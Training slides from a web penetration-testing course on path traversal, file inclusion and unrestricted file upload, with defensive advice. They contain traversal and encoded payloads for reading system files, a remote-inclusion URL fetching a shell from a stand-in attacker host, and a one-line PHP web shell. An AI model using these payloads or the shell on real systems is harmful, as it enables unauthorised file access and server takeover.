As you have already studied in the Authentication and

Authorization module, Authorization is what you are able to

do: authorization attacks have to do with accessing
information that the user does not have permission to access.
Although we explained some authorization bypass attacks in
the previous module, here we are going to focus and dig
deeper on attacks related to file and resources.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

10.1. Path traversal

10.2. File Inclusion Vulnerabilities

10.3. Unrestricted File Upload

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
Some web applications need to access resources on the file
system to implement the web application (such as images,
static text and so on). They sometimes use parameters to
define the resources.
When these parameters are user-controlled, not properly
sanitized and are used to build the resource path on the file
system, security issues may arise.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

For example let us consider a Web Application that allows to
download a file by requesting the following URL:

http://www.elsfoo.com/getFile?path=FileA418fS5fds.pdf

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The parameter path will be used by the web application to
locate the resource named FileA418fS5fds.pdf on the file
system.
If the web application does not sanitize the parameter
properly an attacker could manipulate it to access the
contents of any arbitrary file (access resources that are not
intended to be accessed).

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

This attack, also known as the dot-dot-slash attack (../), is
usually performed by means of those characters that allow us
to move up in the directory tree.
By prefacing the sequence with ../ it may be possible to
access directories that are hierarchically higher than the one
from which we are picking the file.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

For example the following URL may be used to access the
password file in UNIX systems:
http://www.elsfoo.com/getFile?path=../../../etc/passwd

Using relative path addressing, we are going up 3 levels from

the current one to reach the root. The same may be achieved
using absolute paths:
http://www.elsfoo.com/getFile?path=/etc/passwd

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

On Windows systems, depending on the target OS version,
you can try to access the following resources:

http://www.elsfoo.com/getFile?path=../../../windows/win.ini

http://www.elsfoo.com/getFile?path=../../../boot.ini

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Let us first analyze some useful information about how to
build a path traversal payload and then see how we can
protect our web applications against these attacks.

Path Best defensive

Convention Techniques

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Depending on the Operating System running on the web
server, a root folder can be located using the following syntax:

*NIX Windows
Slash / <Driver letter> : \ C:\

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The following, are the directory separator symbols to use
depending on the Operating System:

*NIX Windows
Slash / Slash /

Backslash \

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

To move up the current directory you can use the following
sequence:
../

A specific sequence can be used to terminate the current file

name. This sequence takes the name of NULL BYTE:

%00

Note that %00 does not work with PHP versions >= 5.3.4.
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
This can be useful to terminate the string in case something
else is appended to it by the web application. An example in
pseudo code:
file_read ("/htdocs/website/reports/" user_input + ".pdf");

The %00 would allow the user to terminate the string and
read any other file extensions:
../../etc/passwd%00

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Web applications that perform filtering operations on these
nasty characters should be aware of different encodings. Let
us see a few examples of URL encoding and double URL
encoding:

Character URL encoding 16-bit Unicode

. %2e %u002e
/ %2f %u2215
\ %5c %u2216

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Any combination of the previous encoding may work on the
target web application. So you may try something like the
following payloads:
../ ..\
%2e%2e%2f %2e%2e%5c
%2e%2e/ %2e%2e\
..%2f ..%5c
..%255c %252e%252e%255c

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The simplest way to defend a Path
traversal attack is to filter any
../
malicious sequences from the input
parameters; on the right, you can see ..\
some typical sequences that should
%00 (NULL BYTES)
be filtered. In most cases, you will
also want to filter the “/” char alone.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
File inclusion vulnerabilities are divided in Remote and Local,
depending on where the file to include is located.
Some of you will remember the vintage LFI (Local File
Inclusion) attack against the first Perl CGIs in the early 90’s:
visit.pl?url=../../../../etc/passwd

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

This type of vulnerability was very common at that time, as a
result of security awareness not being very widespread
among developers.
However, it is still found in custom scripts where path
characters are not stripped from input and the input is used
as part of an include.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The vulnerability is easier to understand if we look at a simple
section of PHP code. Let us suppose that the target
application changes its content depending on the location of
the visitor. The URL will be something like this:
http://target.site/index.php?location=IT

and that the PHP code handles the parameter as follows:

<?php
include("loc/" . $_GET['location']);
?>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

As you can see we can just enter any valid local path-to-file to
have the PHP include it in the response to our browser:

index.php?location=../../../etc/passwd

This will go up 3 directories and then return etc/passwd

which is the famous Unix password file.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Let us see an example. The target application hosted on
http://lfi.site uses the location parameter to render
the content to the user.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

In order to test if the application is vulnerable to LFI, we can
use the following payload:

Add enough ../ to reach the

root folder

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

If, instead, the code looks like this:
<?php
include($_GET['location'] . "/template.tlp");
?>

A valid exploit would be:

index.php?location=../../../etc/passwd%00

%00 is the null character that terminates the string.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

These vulnerabilities are usually found in little custom made
CMS’s where pages are loaded with an include and their
paths taken from the input.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Remote File Inclusion (RFI) works in the same way as LFI; the
only difference is that the file to be included is pulled
remotely.
Our aim in this case is not just to read but, to include our own
code in the execution. An exploitable URL would look like this:

vuln.php?page=http://evil.com/shell.txt

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

In this case, shell.txt (containing PHP code), will be
included in the page and executed.
A common exploit to this vulnerability is to include a PHP
shell that would let the hacker or the pentester execute any
code on the server.
Even the simplest PHP shell will accept commands from
GET/POST arguments and execute them on the server.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

It is important to know that the file included must not have
the .php extension, otherwise the code within the included
file will run on the attacker machine, instead of the target
web application. Let us see this with an example.
The vulnerable application is hosted on a Linux machine
(http://rfi.site), while the attacker web application that
contains the two files to include is hosted on Windows
(http://atk.site).

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

To verify what happens, we are going to use the following
code for both files test.php and test.txt (both hosted on
the attacker machine). This simple PHP script calls the
phpinfo() function, which returns information on the
current status of PHP running on the machine.

<?php
phpinfo();
?>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

If we try to exploit the RFI and include the file test.txt, we
can see that the information returned by the phpinfo()
function are related to the vulnerable web application. So the
RFI works just fine.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Meanwhile, if we try to include the test.php file, we can see
that the phpinfo() function returns the information of our
(attacker) web server. That is why we have to use a .txt file.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

This vulnerability should be checked when an include is
thought to be present in the code.
To immediately spot a vulnerable parameter, you can just
inject “http://www.google.com”

vuln.php?page=http://www.google.com

If it is vulnerable, the HTML code of google.com should be

injected in the vulnerable web page.
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
Note: RFI is possible because the allow_url_include
directive is set to On within php.ini. It is good practice to set it
to Off.
Exploiting RFI requires that you have a PHP shell uploaded
somewhere and accessible from the internet.
Note that there are plenty of shells you can find online, each
one with its features and specific functions.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
The unrestricted file upload vulnerability is one of the most
dangerous vulnerabilities that a web application may suffer.
The vulnerability affects all those web applications that allow
the upload of files without properly enforcing restrictive
policies on:
• The maximum size of the file (DoS)
• The nature of the file (if Image, PDF, XLS…)

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

If web applications do not implement proper restriction on
files uploaded by the user, the risks of being compromised is
very high.
Although the impact of this vulnerability highly depends upon
how the file is used by the web application, a malicious user
(as well as a penetration tester) may be able to acquire
complete control of the system!

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Let us see how this vulnerability works and how it can be
exploited. Let us suppose that our target web application is
both hosted on the following domain
http://fileupload.site and, an authenticated user can
upload a personal image on his/her profile page.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Suppose that the upload occurs through a POST method at
the following web page:
http://fileupload.site/uploadImage.php

and that the new image will be available by requesting the

following URL:
http://fileupload.site/images/<FileNameAsUploadedByTheUSER>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

If the web application does not perform checks on the file
type uploaded, a malicious user could upload a shell and
execute it by browsing to the uploaded file (if the path and
file name is predictable or known).
<?php
exec($_GET[‘command’]);
?>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

With the simple shell we just saw in the previous slide, the
attacker would be able to launch arbitrary OS commands by
specifying them in the URL:

http://fileupload.site/images/myshell.php?command=<COMMAND>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

In order for the application to be vulnerable, the following
conditions will apply:

The file type is not checked against a whitelist of allowed formats

The file name and path of the uploaded file is known to the attacker or
guessable

The folder in which the file is placed allows the execution of server-side scripts

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Note that uploading a shell is the most impactful exploitation
approach to this vulnerability but, certainly not the only one.
Although a web shell may allow the attacker to execute
commands, browse the system and so on, other attacks can
be run such as: creating phishing pages, defacing of the web
application, storing XSS, uploading malicious files...

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The attack

Let us see a very simple example of a vulnerable web

application that allows users to upload a file to use as image
of their profile.
The first thing to do is to understand how the application
works, where the file is stored, and both how it is used and,
included in the web application itself.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The attack

The following is the target web application. Let us try to

upload an image and see what happens.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The attack

Let us click on the browse button and select an image file on

our system: atk.png. Once we upload it we are redirected
back to the account.php page and this is what happens:

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The attack

The image is successfully uploaded and if we inspect the

source code of the page, we can see that it is stored on the
web server in the uploads folder. Moreover, it is renamed
with the our user ID (231 in our case):

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The attack

The next step is to verify what happens if we try to upload a

file with a different extension. We will try to upload a file
named info.php which contains the phpinfo() function.
No error or exception is raised. Moreover, if we inspect the
source code of the account.php page we can see that it tries
to use the file 231.php in the img tag.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The attack

It seems that the vulnerability is there. We can now try to

navigate the URL fileupload.site/uploads/231.php. As
we can see, the vulnerability exists and we are able to get the
server information thanks to the file that was just uploaded.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The attack

So, the application fails to check both the extension of the file
and its content.
Due to this weak configuration, an attacker can upload any
shell or type of file, compromise the system and obtain
complete control of the web server.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

A web developer should inspect the uploaded file at two
different layers:

METADATA (name, extension, size, etc.)

ACTUAL CONTENT

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Enforcing a whitelist (or blacklist) of allowed file extensions is
the first line of defense but, unfortunately not the ultimate
solution. This will just make it more difficult for attackers but,
it will not stop them.
Example:

A web application allows the upload of PDF files with

.pdf extension, only.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The files are shown to the user through an include of the file
content.
If a malicious user puts server-side code within a text file
renamed with .pdf extension, the code will be executed.
The file extension is not a protection mechanism!

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Furthermore, file uploads with restricted extensions are still
prone to be exploited when a local file inclusion exploit is
found elsewhere in the web application.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The best defense is to actually determine the file type by
inspecting the content of the uploaded file. This can be
achieved using libraries for binary formats or parsers for text
files however, this is not the only recommendation. Web
developers must limit the file size as well as the file name, set
proper permission on the upload folder, filter and discard
special characters, use virus scanners and so on.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

 Who will use the uploaded
file?

Web developers must How will the uploaded file be

used?
answer the following • Will the content of the file be
interpreted by an HTML parser?.
questions before • ….

creating a filter:
What privileges will this file
have/need on my server?

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
PHP Null Byte fix Unrestricted File Upload

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Files and Resources
Vulnerabilities

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

 File and Resource
In these File and Resource attacks labs, the
student can practice attacks techniques
against web applications vulnerable to RFI,
LFI, Unrestricted File Upload and much more.

Powered by TCPDF (www.tcpdf.org)

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015